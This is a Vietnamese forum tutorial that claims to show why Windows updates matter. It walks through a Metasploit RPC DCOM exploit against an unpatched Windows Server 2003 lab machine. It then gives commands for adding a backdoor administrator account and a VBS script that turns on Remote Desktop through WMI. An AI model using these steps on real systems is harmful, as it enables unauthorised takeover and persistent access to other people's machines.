[Hacking] Tầm quan trọng của Update (Metasploit Attack)

Tầm quan trọng của Update (Metasploit Attack)

Chúng ta , người dùng thường ít ai bât windows update lên vi sợ khi update lên làm máy của mình ngày chậm chạp. Như vậy thì lỗi thì càng lúc càng nhiều mà bản vá thì lại không được update và sẽ bị hacker lợi dụng tấn công máy của bạn.
Hôm nay mình giới thiệu cho bạn một cách đơn giản mà hacker thường lợi dụng để tấn công các máy không được cập nhật các bản vá.

Tool sử dụng: Metaslpoit 3
Mô hình : Mô hình của chúng ta là, LK đang đứng trên máy attacker xài w2k3 có IP có IP là 10.19.139.180 và attack vào máy victim chạy w2k3 chưa được update với IP là 10.19.139.181



Mục đích : Nắm quyền của máy DC2 và remote desktop qua DC2
Thực hiện:
Đầu tiên bạn cần phải cài đặt Metasploit :



Sau khi cài đặt xong ta chạy với Mestasploit GUI



Giao diện nhìn ngàu thật:
Tiếp theo ta chọn Exploit  Windows  dcerpc . Và ta sẽ chọn bug : Microsoft RPC DCOM Interface Overflow để khai thác.
Right click –> chọn Excute



- Tiếp theo bạn chọn Forward ở bước chọn target.



- Ta chọn windows/shell/shell_blind_tcp rồi bấm forward



- Bước tiếp theo ta nhập ip của target vào :



- Sau đó bạn chọn apply ở bước tiếp theo
- Sau khi apply thành công thì bạn đã tạo được session đến máy victim rùi . ban chỉ cần chọn “Interact Session” để kết nối vào máy victim



- Hihi như vậy bạn đã nẳm trong cmd của victim rùi .



- Việc đầu tiên mình làm sẽ là change pass administrator hoặc là tạo 1 user và add vào group administrator (Mình đang đứng với quyền administrator nên có thể làm tất cả)
+ Ở đây mình tạo user luongkhiem và add vào group administrator bằng 2 câu lệnh

Trích:

C:\WINDOWS\system32>net user luongkhiem 123 /add net user luongkhiem 123 /add The command completed successfully. C:\WINDOWS\system32>net localgroup administrators luongkhiem /add net localgroup administrators luongkhiem /add The command completed successfully.

- Như vậy mình đã là quyền administrator bây giờ mục đích còn lại của mình là remote desktop vào máy victim . Đầu tiên ta kiểm tra coi máy victim có mở remote desktop hay không bằng cách dùng lệnh netstat

- Như vậy là máy victim ko có mở port 3339 . như vậy ta cần phải tìm cách open port này .
- Trước tiên cần coi máy đang chạy những dịch vụ vào

Trích:

C:\WINDOWS\system32>net start These Windows services are started: Application Layer Gateway Service Automatic Updates COM+ Event System Computer Browser Cryptographic Services DHCP Client Distributed File System Distributed Link Tracking Client Distributed Transaction Coordinator DNS Client Error Reporting Service Event Log Help and Support Internet Connection Firewall (ICF) / Internet Connect IPSEC Services Logical Disk Manager Network Connections Network Location Awareness (NLA) NT LM Security Support Provider Plug and Play Print Spooler Protected Storage Remote Access Connection Manager Remote Procedure Call (RPC) Remote Registry Secondary Logon Security Accounts Manager Server Shell Hardware Detection System Event Notification Task Scheduler TCP/IP NetBIOS Helper Telephony Telnet Terminal Services VMware Tools Service Windows Management Instrumentation Windows Time Wireless Configuration Workstation The command completed successfully.

- Như vậy là máy victim có chạy telnet ! ta telnet vào máy victim và command nào

Trích:

*================================================= ============== Welcome to Microsoft Telnet Server. *================================================= ============== C:\>ipconfig Windows IP Configuration Ethernet adapter Local Area Connection: Connection-specific DNS Suffix . : IP Address. . . . . . . . . . . . : 10.19.139.181 Subnet Mask . . . . . . . . . . . : 255.0.0.0 Default Gateway . . . . . . . . . : 10.19.128.1 C:\>copy con remote.vbs machine = "." cimv2_string = "WINMGMTS:" & "\\" & machine & "\root\cimv2" query = "select * from Win32_TerminalServiceSetting" value_to_set = 1 ' 0=off, 1=on set cimv2 = GetObject( cimv2_string ) set items = cimv2.ExecQuery( query ) for each item in items item.SetAllowTSConnections( value_to_set ) next^Z 1 file(s) copied. C:\>dir Volume in drive C has no label. Volume Serial Number is C022-B43C Directory of C:\ 12/19/2008 10:36 PM 0 AUTOEXEC.BAT 12/19/2008 10:36 PM 0 CONFIG.SYS 12/28/2008 01:29 PM < dir> Documents and Settings 12/27/2008 10:14 PM 0 lk.vbs 12/27/2008 10:32 PM 0 net 12/21/2008 09:48 PM < dir> Program Files 12/28/2008 01:29 PM 321 remote.vbs 12/27/2008 07:40 PM < dir> WINDOWS 12/19/2008 10:37 PM < dir> wmpub 5 File(s) 321 bytes 4 Dir(s) 105,423,151,104 bytes free C:\>remote.vbs C:\>netstat -ano Active Connections Proto Local Address Foreign Address State PID TCP 0.0.0.0:23 0.0.0.0:0 LISTENING 1140 TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 700 TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4 TCP 0.0.0.0:1025 0.0.0.0:0 LISTENING 528 TCP 0.0.0.0:1026 0.0.0.0:0 LISTENING 968 TCP 0.0.0.0:3389 0.0.0.0:0 LISTENING 752 TCP 10.19.139.181:23 10.19.139.180:3027 ESTABLISHED 1140 TCP 10.19.139.181:139 0.0.0.0:0 LISTENING 4 TCP 10.19.139.181:445 10.19.139.180:3024 ESTABLISHED 4 TCP 10.19.139.181:4444 10.19.139.180:3020 ESTABLISHED 700 TCP 127.0.0.1:3001 0.0.0.0:0 LISTENING 1272 TCP 127.0.0.1:3002 0.0.0.0:0 LISTENING 968 TCP 127.0.0.1:3003 0.0.0.0:0 LISTENING 968 UDP 0.0.0.0:445 *:* 4 UDP 0.0.0.0:500 *:* 528 UDP 0.0.0.0:1027 *:* 908 UDP 0.0.0.0:3005 *:* 968 UDP 0.0.0.0:4500 *:* 528 UDP 10.19.139.181:123 *:* 968 UDP 10.19.139.181:137 *:* 4 UDP 10.19.139.181:138 *:* 4 UDP 127.0.0.1:123 *:* 968 C:\>mstsc

Như vậy đã đã hoàn toàn làm chủ được máy tính của victim .
Ngoài ra cũng còn có thể sử dụng cách Remote Registry để bật chức năng Remote Desktop của máy victim (Bữa nào rảnh LK sẽ viết để các bạn tham khảo)
Qua đây ta thấy tầm quan trọng của việc update windows.
Chúc các bạn thành công
luongkhiem
Link: http://thegioimang.org/forum/tham-nhap-trong-microsoft/1515-tam-quan-trong-cua-update-metasploit-attack.html